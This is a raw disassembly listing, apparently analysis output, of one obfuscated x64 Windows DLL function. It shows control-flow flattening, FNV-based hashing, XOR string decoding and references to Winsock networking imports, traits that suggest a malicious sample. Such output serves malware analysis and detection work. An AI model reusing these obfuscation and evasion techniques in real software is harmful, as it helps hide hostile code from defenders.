Function at 0x18005eec0
Capabilities:
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2bb8
call fcn.1800fab80
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x2b20], xmm6
mov qword [rbp - 8], rdx
mov rax, qword [0x180128a08]
xor rax, rbp
mov qword [rbp + 0x2b18], rax
movabs r12, 0xcbf29ce484222325
movabs r11, 0x100000001b3
mov qword [rbp + 0x210], rcx
lea rax, [rcx + 8]
mov qword [rbp + 0x88], rax
mov eax, 0x505715bb
xorps xmm6, xmm6
mov r13d, 0xfb306983
mov r15d, 0xab050da9
mov r14d, 0x951868fc
jmp 0x18005ef4f
mov eax, 0xda73398f
mov dword [rbp + 0x1f0], 0
jmp 0x18005ef80
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcf469ddc
mov ecx, 0xf623cff
cmove eax, ecx
cmp dword [0x1801297ec], 0xa
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0xf623cfe
jle 0x18005f010
cmp eax, 0x488dfe64
jg 0x18005f080
cmp eax, 0x32ca03df
jg 0x18005f1d0
cmp eax, 0x215aeda9
jle 0x18005f2e4
cmp eax, 0x2dcf8189
jg 0x18005f969
cmp eax, 0x215aedaa
je 0x18006098d
cmp eax, 0x2686e100
je 0x1800609a9
cmp eax, 0x2da5869d
jne 0x18005ef80
mov rcx, qword [rbp + 0x1f8]
sub rsp, 0x20
call fcn.1800fa898
movabs r11, 0x100000001b3
add rsp, 0x20
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x98073112
mov ecx, 0x78ec922d
jmp 0x18005ef6a
cmp eax, 0xb592efc2
jg 0x18005f0e0
cmp eax, 0x9facf467
jg 0x18005f211
cmp eax, 0x90c5d405
jg 0x18005f32e
cmp eax, 0x8960ceff
jle 0x18005f9ba
cmp eax, 0x8960cf00
je 0x1800609fd
cmp eax, 0x8eb76ddb
je 0x1800612fc
cmp eax, 0x90516810
jne 0x18005ef80
mov eax, 0x62e39c23
mov ecx, dword [rbp + 0x90]
mov dword [rbp + 0x220], ecx
jmp 0x18005ef80
cmp eax, 0x62e39c22
jg 0x18005f252
cmp eax, 0x5bff83bd
jg 0x18005f382
cmp eax, 0x505715ba
jle 0x18005f9fb
cmp eax, 0x505715bb
je 0x180061356
cmp eax, 0x50ed4433
je 0x180061696
cmp eax, 0x5484598a
jne 0x18005ef80
mov rax, qword [rbp + 0x88]
mov qword [rbp - 0x30], rax
mov eax, 0xba0a742a
jmp 0x18005ef80
cmp eax, 0xe351982b
jg 0x18005f293
cmp eax, 0xcea0b460
jg 0x18005f3b8
cmp eax, 0xc4152793
jle 0x18005ffc2
cmp eax, 0xc4152794
je 0x1800616af
cmp eax, 0xc99ce315
je 0x1800616c8
cmp eax, 0xc9a1b578
jne 0x18005ef80
mov rax, qword [rbp + 0xf8]
mov qword [rbp], rax
mov rax, qword [rbp]
mov rax, qword [rbp + 0xf8]
mov edx, 0x8e7cd9ae
mov r8d, 0x4fd02911
mov r9d, 0xe7e31a9c
mov edi, 0x684b826e
mov esi, 0x83ad097b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x424d75d7
je 0x1800616fc
cmp edx, 0x8e7cd9ae
jne 0x18005f160
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x18005f192
cmp ecx, 0xcb19b41
jne 0x18005f180
jmp 0x18005f199
mov ecx, 0xcb19b41
jmp 0x18005f180
mov dword [rbp + 0x278], 0x5f
movsxd rcx, dword [rbp + 0x278]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x43
mov edx, 0x424d75d7
jmp 0x18005f160
cmp eax, 0x3a458eb1
jg 0x18005f3fa
cmp eax, 0x34a3b61c
jle 0x18005ffed
cmp eax, 0x34a3b61d
je 0x180061780
cmp eax, 0x34ccaa0f
je 0x18005ef40
cmp eax, 0x350b1ce7
jne 0x18005ef80
mov eax, 0x1534aafb
jmp 0x18005ef80
cmp eax, 0xa8cfa29b
jg 0x18005f430
cmp eax, 0xa118fb7d
jle 0x18006002f
cmp eax, 0xa118fb7e
je 0x180061797
cmp eax, 0xa641f22f
je 0x1800617b5
cmp eax, 0xa72e0d60
jne 0x18005ef80
mov eax, 0x4d3eb9dc
jmp 0x18005ef80
cmp eax, 0x6b3db70e
jg 0x18005f8cf
cmp eax, 0x67848348
jle 0x18006006d
cmp eax, 0x67848349
je 0x1800619ed
cmp eax, 0x68cebe4b
je 0x180061b49
cmp eax, 0x6a313a92
jne 0x18005ef80
mov eax, 0xa118fb7e
jmp 0x18005ef80
cmp eax, 0xf1c1ad31
jg 0x18005f905
cmp eax, 0xe47ef471
jle 0x180060098
cmp eax, 0xe47ef472
je 0x180061b87
cmp eax, 0xe485e7f1
je 0x180061b9f
cmp eax, 0xf078a236
jne 0x18005ef80
mov rax, qword [rbp - 0x40]
mov ecx, 0xa28
add rax, rcx
mov qword [rbp - 0x48], rax
mov eax, 0x6e3d9b25
jmp 0x18005ef80
cmp eax, 0x134b8ddc
jle 0x18006010c
cmp eax, 0x134b8ddd
je 0x180061ba9
cmp eax, 0x1534aafb
je 0x180061bc6
cmp eax, 0x19561102
jne 0x18005ef80
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x50]
mov eax, 0xf1c1ad32
mov ecx, dword [rbp + 0x9c]
mov dword [rbp + 0x1d8], ecx
jmp 0x18005ef80
cmp eax, 0x9623c07f
jle 0x180060160
cmp eax, 0x9623c080
je 0x180061bee
cmp eax, 0x96ca8348
je 0x180061bf8
cmp eax, 0x98073112
jne 0x18005ef80
mov rcx, qword [rbp + 0x1f8]
sub rsp, 0x20
call fcn.1800fa898
movabs r11, 0x100000001b3
add rsp, 0x20
mov eax, 0x2da5869d
jmp 0x18005ef80
cmp eax, 0x5f524a1e
jle 0x18006018f
cmp eax, 0x5f524a1f
je 0x180061c16
cmp eax, 0x5f7953bc
je 0x180061c42
cmp eax, 0x609e8737
jne 0x18005ef80
mov eax, 0xa0416690
jmp 0x18005ef80
cmp eax, 0xd9d135fa
jle 0x1800601c9
cmp eax, 0xd9d135fb
je 0x1800639f5
cmp eax, 0xda73398f
je 0x180063a10
cmp eax, 0xddd76b9a
jne 0x18005ef80
mov eax, 0x62e39c23
mov ecx, dword [rbp + 0x98]
mov dword [rbp + 0x220], ecx
jmp 0x18005ef80
cmp eax, 0x40dd097f
jle 0x18006028e
cmp eax, 0x40dd0980
je 0x180063a32
cmp eax, 0x47128534
je 0x180063ac9
cmp eax, 0x476219af
jne 0x18005ef80
mov eax, 0x68cebe4b
jmp 0x18005ef80
cmp eax, 0xac072d7f
jle 0x1800603c1
cmp eax, 0xac072d80
je 0x180063ad3
cmp eax, 0xb3342308
je 0x180063b06
cmp eax, 0xb491f198
jne 0x18005ef80
mov r10, qword [rbp - 0x58]
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x18005f4f0
mov eax, dword [rbp + 0x250]
mov rax, qword [rbp + 0x278]
mov rax, qword [rbp + 0x278]
mov rax, qword [rbp + 0x278]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word [rax + rax]
cmp edx, 0xfe90a09b
jle 0x18005f560
cmp edx, 0x333d8297
jle 0x18005f5b0
cmp edx, 0x5cca55f4
jg 0x18005f62a
cmp edx, 0x333d8298
je 0x18005f6ed
cmp edx, 0x33ec62ab
je 0x18005f706
cmp edx, 0x42d422e5
jne 0x18005f4f0
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18005f4f0
cmp edx, 0xc5fd57a7
jle 0x18005f5f0
cmp edx, 0xeb000b68
jg 0x18005f65a
cmp edx, 0xc5fd57a8
je 0x18005f716
cmp edx, 0xd1e81d16
je 0x18005f724
cmp edx, 0xd597d4ff
jne 0x18005f4f0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18005f4f0
cmp edx, 0x12a1b9d7
jle 0x18005f68c
cmp edx, 0x12a1b9d8
je 0x18005f73d
cmp edx, 0x181b9de8
je 0x18005f74c
cmp edx, 0x28ad3f39
jne 0x18005f4f0
mov edx, 0x73f80f82
jmp 0x18005f4f0
cmp edx, 0xb163ad29
jle 0x18005f6be
cmp edx, 0xb163ad2a
je 0x18005f77c
cmp edx, 0xb9d33223
je 0x18005f7a9
cmp edx, 0xbb6ed30e
jne 0x18005f4f0
mov edx, 0x12a1b9d8
jmp 0x18005f4f0
cmp edx, 0x5cca55f5
je 0x18005f7b9
cmp edx, 0x7343bfbc
je 0x18005f4a3
cmp edx, 0x73f80f82
jne 0x18005f4f0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18005f4f0
cmp edx, 0xeb000b69
je 0x18005f7d2
cmp edx, 0xfb306983
jne 0x18005f847
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18005f4f0
cmp edx, 0xfe90a09c
je 0x18005f7fd
cmp edx, 0x1dd0b01
jne 0x18005f4f0
mov eax, dword [rbp + 0x244]
cmp eax, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18005f4f0
cmp edx, 0x87cbc1a8
je 0x18005f82d
cmp edx, 0x9302de66
jne 0x18005f4f0
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18005f4f0
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov eax, 0x5cca55f5
cmovne edx, eax
jmp 0x18005f4f0
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0x234]
jmp 0x18005f4f0
mov dword [rbp + 0x250], ebx
mov edx, r9d
jmp 0x18005f4f0
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x18005f4f0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18005f4f0
movsxd rax, dword [rbp + 0x250]
xor rax, qword [rbp + 0x278]
imul rax, r11
mov qword [rbp + 0x248], rax
mov eax, dword [rbp + 0x270]
add eax, 1
mov dword [rbp + 0x238], eax
mov edx, r8d
jmp 0x18005f4f0
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov eax, dword [rbp + 0x270]
cmp eax, edx
mov edx, 0xf6d6bd87
mov eax, 0x87cbc1a8
cmovb edx, eax
jmp 0x18005f4f0
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0x244]
jmp 0x18005f4f0
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18005f4f0
mov rax, qword [rbp + 0x260]
movsx eax, byte [rax]
mov dword [rbp + 0x244], eax
mov eax, dword [rbp + 0x244]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x18005f4f0
mov eax, dword [rbp + 0x244]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0x234], eax
mov edx, 0x33ec62ab
jmp 0x18005f4f0
mov eax, dword [rbp + 0x270]
add rax, r10
mov qword [rbp + 0x260], rax
mov edx, 0xeb000b69
jmp 0x18005f4f0
cmp edx, 0xf6d6bd87
jne 0x18005f4f0
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov edx, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rcx]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x238], rax
mov rcx, qword [rbp + 0x238]
mov byte [rcx], 8
mov rcx, qword [rbp + 0x238]
add rcx, 1
mov qword [rbp + 0x268], rcx
mov byte [rbp + 0x22c], 0x43
mov edx, 0x65f5a5e8
jmp 0x180060550
cmp eax, 0x74d55eab
jle 0x1800603ed
cmp eax, 0x74d55eac
je 0x180063b24
cmp eax, 0x755727f7
je 0x180063b9c
cmp eax, 0x78ec922d
jne 0x18005ef80
mov eax, 0xa72e0d60
jmp 0x18005ef80
cmp eax, 0xfb073558
jle 0x180060436
cmp eax, 0xfb073559
je 0x180063bb5
cmp eax, 0xffbe596d
je 0x180063c0c
cmp eax, 0xb61674e
jne 0x18005ef80
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x1f8]
sub rsp, 0x20
mov dword [rbp + 0x1dc], 0
xor edx, edx
call fcn.1800fcb10
movabs r11, 0x100000001b3
add rsp, 0x20
mov eax, 0xa641f22f
jmp 0x18005ef80
cmp eax, 0x2dcf818a
je 0x18005ef51
cmp eax, 0x325564e9
jne 0x18006f85b
mov eax, dword [0x1801297e8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1801297ec], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x6a313a92
mov ecx, 0xa118fb7e
cmovne eax, ecx
jmp 0x18005ef80
cmp eax, 0x81dbd7f3
je 0x180063c28
cmp eax, 0x82935040
jne 0x18005ef80
mov rcx, qword [rbp - 0x80]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x200]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp]
jmp 0x1800650cd
cmp eax, 0x488dfe65
je 0x18006f870
cmp eax, 0x4d3eb9dc
jne 0x18005ef80
mov rax, qword [rbp + 0x120]
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov byte [rcx], 0x65
mov rcx, qword [rbp + 0x270]
add rcx, 1
mov qword [rbp + 0x250], rcx
mov edx, 0x868da22a
nop word [rax + rax]
cmp edx, 0x382c37fd
jg 0x18005fa90
cmp edx, 0x868da22a
je 0x18005fac8
cmp edx, 0x10fca696
jne 0x18005fa50
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x248]
mov edx, 0x10fca696
mov ebx, 0x382c37fe
cmove edx, ebx
jmp 0x18005fa50
cmp edx, 0x382c37fe
je 0x180063cb1
cmp edx, 0x488c0896
jne 0x18005fa50
mov rcx, qword [rbp + 0x260]
add rcx, 1
mov rdx, qword [rbp + 0x270]
add rdx, 0xd
mov qword [rbp + 0x248], rdx
mov edx, 0x10fca696
jmp 0x18005fa50
mov edx, 0x6719297a
nop dword [rax]
cmp edx, 0x6719297a
je 0x18005fae2
cmp edx, 0xd3eab002
jne 0x18005fad0
jmp 0x18005fae9
mov edx, 0xd3eab002
jmp 0x18005fad0
mov dword [rbp + 0x268], 0x43
movsx rdx, byte [rax]
mov ebx, 0x26465847
nop dword [rax]
cmp ebx, 0x26465847
je 0x18005fb12
cmp ebx, 0x27e1952e
jne 0x18005fb00
jmp 0x18005fb19
mov ebx, 0x27e1952e
jmp 0x18005fb00
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
mov ebx, dword [rbp + 0x268]
xor bl, dl
mov rdx, qword [rbp + 0x250]
mov byte [rdx], bl
mov rdx, qword [rbp + 0x250]
mov ebx, 0x6719297a
nop word cs:[rax + rax]
nop
cmp ebx, 0x6719297a
je 0x18005fb62
cmp ebx, 0xd3eab002
jne 0x18005fb50
jmp 0x18005fb69
mov ebx, 0xd3eab002
jmp 0x18005fb50
mov dword [rbp + 0x268], WSAStartup
movsx rbx, byte [rax]
add rbx, 1
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fb92
cmp edi, 0x27e1952e
jne 0x18005fb80
jmp 0x18005fb99
mov edi, 0x27e1952e
jmp 0x18005fb80
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 1], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fbd2
cmp ebx, 0xd3eab002
jne 0x18005fbc0
jmp 0x18005fbd9
mov ebx, 0xd3eab002
jmp 0x18005fbc0
mov dword [rbp + 0x268], WSAStartup
movsx rbx, byte [rax]
add rbx, 2
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fc02
cmp edi, 0x27e1952e
jne 0x18005fbf0
jmp 0x18005fc09
mov edi, 0x27e1952e
jmp 0x18005fbf0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 2], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fc42
cmp ebx, 0xd3eab002
jne 0x18005fc30
jmp 0x18005fc49
mov ebx, 0xd3eab002
jmp 0x18005fc30
mov dword [rbp + 0x268], reloc.WS2_32.dll_WSAStartup
movsx rbx, byte [rax]
add rbx, 3
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fc72
cmp edi, 0x27e1952e
jne 0x18005fc60
jmp 0x18005fc79
mov edi, 0x27e1952e
jmp 0x18005fc60
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 3], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fcb2
cmp ebx, 0xd3eab002
jne 0x18005fca0
jmp 0x18005fcb9
mov ebx, 0xd3eab002
jmp 0x18005fca0
mov dword [rbp + 0x268], 0x65
movsx rbx, byte [rax]
add rbx, 4
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fce2
cmp edi, 0x27e1952e
jne 0x18005fcd0
jmp 0x18005fce9
mov edi, 0x27e1952e
jmp 0x18005fcd0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 4], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fd22
cmp ebx, 0xd3eab002
jne 0x18005fd10
jmp 0x18005fd29
mov ebx, 0xd3eab002
jmp 0x18005fd10
mov dword [rbp + 0x268], 0x48
movsx rbx, byte [rax]
add rbx, 5
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fd52
cmp edi, 0x27e1952e
jne 0x18005fd40
jmp 0x18005fd59
mov edi, 0x27e1952e
jmp 0x18005fd40
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 5], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fd92
cmp ebx, 0xd3eab002
jne 0x18005fd80
jmp 0x18005fd99
mov ebx, 0xd3eab002
jmp 0x18005fd80
mov dword [rbp + 0x268], 0x61
movsx rbx, byte [rax]
add rbx, 6
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fdc2
cmp edi, 0x27e1952e
jne 0x18005fdb0
jmp 0x18005fdc9
mov edi, 0x27e1952e
jmp 0x18005fdb0
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 6], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fe02
cmp ebx, 0xd3eab002
jne 0x18005fdf0
jmp 0x18005fe09
mov ebx, 0xd3eab002
jmp 0x18005fdf0
mov dword [rbp + 0x268], WSAStartup
movsx rbx, byte [rax]
add rbx, 7
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fe32
cmp edi, 0x27e1952e
jne 0x18005fe20
jmp 0x18005fe39
mov edi, 0x27e1952e
jmp 0x18005fe20
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 7], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fe72
cmp ebx, 0xd3eab002
jne 0x18005fe60
jmp 0x18005fe79
mov ebx, 0xd3eab002
jmp 0x18005fe60
mov dword [rbp + 0x268], 0x64
movsx rbx, byte [rax]
add rbx, 8
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005fea2
cmp edi, 0x27e1952e
jne 0x18005fe90
jmp 0x18005fea9
mov edi, 0x27e1952e
jmp 0x18005fe90
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 8], dil
mov ebx, 0x6719297a
nop dword [rax]
cmp ebx, 0x6719297a
je 0x18005fee2
cmp ebx, 0xd3eab002
jne 0x18005fed0
jmp 0x18005fee9
mov ebx, 0xd3eab002
jmp 0x18005fed0
mov dword [rbp + 0x268], WSAStartup
movsx rbx, byte [rax]
add rbx, 9
mov edi, 0x26465847
cmp edi, 0x26465847
je 0x18005ff12
cmp edi, 0x27e1952e
jne 0x18005ff00
jmp 0x18005ff19
mov edi, 0x27e1952e
jmp 0x18005ff00
mov qword [rbp + 0x278], rbx
mov rbx, qword [rbp + 0x278]
mov edi, dword [rbp + 0x268]
xor dil, bl
mov byte [rdx + 9], dil
add rdx, 0xa
mov qword [rbp + 0x260], rdx
mov edx, 0x6719297a
nop word cs:[rax + rax]
nop
cmp edx, 0x6719297a
je 0x18005ff62
cmp edx, 0xd3eab002
jne 0x18005ff50
jmp 0x18005ff69
mov edx, 0xd3eab002
jmp 0x18005ff50
mov dword [rbp + 0x268], 0x65
movsx rdx, byte [rax]
add rdx, 0xa
mov ebx, 0x26465847
cmp ebx, 0x26465847
je 0x18005ff92
cmp ebx, 0x27e1952e
jne 0x18005ff80
jmp 0x18005ff99
mov ebx, 0x27e1952e
jmp 0x18005ff80
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
mov ebx, dword [rbp + 0x268]
xor bl, dl
mov rdx, qword [rbp + 0x260]
mov byte [rdx], bl
mov edx, 0x488c0896
jmp 0x18005fa50
cmp eax, 0xb592efc3
je 0x180064170
cmp eax, 0xba0a742a
jne 0x18005ef80
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
mov eax, 0x8eb76ddb
jmp 0x18005ef80
cmp eax, 0x32ca03e0
je 0x1800641b2
cmp eax, 0x336338d4
jne 0x18005ef80
mov eax, dword [rbp + 0x21c]
mov ecx, dword [rbp + 0x1ec]
cmp ecx, eax
mov eax, 0x755727f7
mov ecx, 0xa641f22f
cmovb eax, ecx
mov ecx, dword [rbp + 0x1ec]
mov dword [rbp + 0x1dc], ecx
jmp 0x18005ef80
cmp eax, 0x9facf468
je 0x1800641d2
cmp eax, 0xa0416690
jne 0x18005ef80
mov rcx, qword [rbp + 0x1f8]
sub rsp, 0x20
call fcn.1800fa898
movabs r11, 0x100000001b3
add rsp, 0x20
mov eax, 0x47128534
jmp 0x18005ef80
cmp eax, 0x62e39c23
je 0x180064214
cmp eax, 0x658d20df
jne 0x18005ef80
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x58], rax
mov eax, 0xfb073559
jmp 0x18005ef80
cmp eax, 0xe351982c
je 0x18006422a
cmp eax, 0xe3ed8e1e
jne 0x18005ef80
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov byte [rcx], 0x2b
mov rcx, qword [rbp + 0x270]
mov edx, 0xbf0a975f
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xbf0a975f
je 0x180060105
cmp edx, 0x86611407
jne 0x1800600f0
jmp 0x180064243
mov edx, 0x86611407
jmp 0x1800600f0
cmp eax, 0xf623cff
je 0x180064283
cmp eax, 0x106c2fb3
jne 0x18005ef80
mov r8, qword [rbp + 0xe0]
mov rcx, qword [rbp - 0x18]
mov r9d, dword [rbp + 0xa8]
sub rsp, 0x20
mov edx, 2
call fcn.1800ca6e0
movabs r11, 0x100000001b3
add rsp, 0x20
mov dword [rbp + 0x1f4], eax
mov eax, 0x2fa9f9b6
jmp 0x18005ef80
cmp eax, 0x90c5d406
je 0x18006434e
cmp eax, 0x940d344c
jne 0x18005ef80
cmp dword [rbp + 0xac], 0
mov eax, 0xe351982c
mov ecx, 0x2dcf818a
cmove eax, ecx
jmp 0x18005ef80
cmp eax, 0x5bff83be
je 0x180064358
cmp eax, 0x5c47e70c
jne 0x18005ef80
mov rax, qword [rbp + 0x210]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x30], rax
mov eax, 0x3c1c4a3c
jmp 0x18005ef80
cmp eax, 0xcea0b461
je 0x180064386
cmp eax, 0xcf469ddc
jne 0x18005ef80
sub rsp, 0x20
lea rcx, [rbp + 0x22f8]
mov dx, 0x65
call fcn.1800979e0
add rsp, 0x20
mov word [rbp + 0x22f8], ax
lea rax, [rbp + 0x22fa]
mov qword [rbp + 0x248], rax
mov word [rbp + 0x250], WSAStartup
mov eax, 0x16192f83
nop word [rax + rax]
cmp eax, 0x6e9a7728
je 0x18006460c
cmp eax, 0x16192f83
jne 0x180060220
movzx edx, word [rbp + 0x250]
sub rsp, 0x20
lea rsi, [rbp + 0x22f8]
mov rcx, rsi
call fcn.1800979e0
add rsp, 0x20
mov rcx, qword [rbp + 0x248]
mov word [rcx], ax
mov rax, qword [rbp + 0x248]
add rax, 2
mov qword [rbp + 0x278], rax
sub rsp, 0x20
mov rcx, rsi
mov dx, WSAStartup
call fcn.1800979e0
add rsp, 0x20
mov word [rbp + 0x260], ax
mov eax, 0x6e9a7728
jmp 0x180060220
cmp eax, 0x3a458eb2
je 0x180064685
cmp eax, 0x3c1c4a3c
jne 0x18005ef80
mov rax, qword [rbp + 0x30]
mov rax, qword [rbp + 0x148]
mov dword [rbp + 0x278], 0x65
mov ecx, dword [0x180129bc0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bc4], 0xa
setl dl
or dl, cl
mov edi, 0x32563533
mov esi, 0xed401dca
cmovne edi, esi
mov edx, 0x32563533
mov r8d, 0x2be4a460
cmovne edx, r8d
mov ecx, 0xd26fdbfa
nop dword [rax + rax]
cmp ecx, 0x15714128
jle 0x180060350
cmp ecx, 0x15714129
je 0x1800646dc
cmp ecx, 0x32563533
je 0x180060367
cmp ecx, 0x2be4a460
jne 0x180060300
mov ecx, 0x26fa7f10
nop dword [rax]
cmp ecx, 0x26fa7f10
je 0x180060342
cmp ecx, 0x789dc127
jne 0x180060330
jmp 0x180060389
mov ecx, 0x789dc127
jmp 0x180060330
cmp ecx, 0xd26fdbfa
je 0x1800603a0
cmp ecx, 0xed401dca
jne 0x180060300
mov ecx, 0x15714129
jmp 0x180060300
mov ecx, 0x26fa7f10
nop dword [rax]
cmp ecx, 0x26fa7f10
je 0x180060382
cmp ecx, 0x789dc127
jne 0x180060370
jmp 0x1800603a7
mov ecx, 0x789dc127
jmp 0x180060370
mov word [rbp + 0x248], reloc.WS2_32.dll_inet_addr
movzx ebx, word [rbp + 0x248]
mov ecx, edi
jmp 0x180060300
mov ecx, edx
jmp 0x180060300
mov word [rbp + 0x248], reloc.WS2_32.dll_inet_addr
movzx ecx, word [rbp + 0x248]
mov ecx, 0x2be4a460
jmp 0x180060300
cmp eax, 0xa8cfa29c
je 0x180064801
cmp eax, 0xa9632298
jne 0x18005ef80
mov eax, 0x2fa9f9b6
mov ecx, dword [rbp + 0xa4]
mov dword [rbp + 0x1f4], ecx
jmp 0x18005ef80
cmp eax, 0x6b3db70f
je 0x18006481a
cmp eax, 0x6e3d9b25
jne 0x18005ef80
mov r8, qword [rbp - 0x48]
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x208]
sub rsp, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2f0]
lea rdx, str._s_sc__s_2__s
jmp 0x180061332
cmp eax, 0xf1c1ad32
je 0x180064824
cmp eax, 0xf656ea64
jne 0x18005ef80
lea rax, [rbp + 0x1af0]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
lea rax, [rbp + 0x12f0]
mov qword [rbp + 0xd0], rax
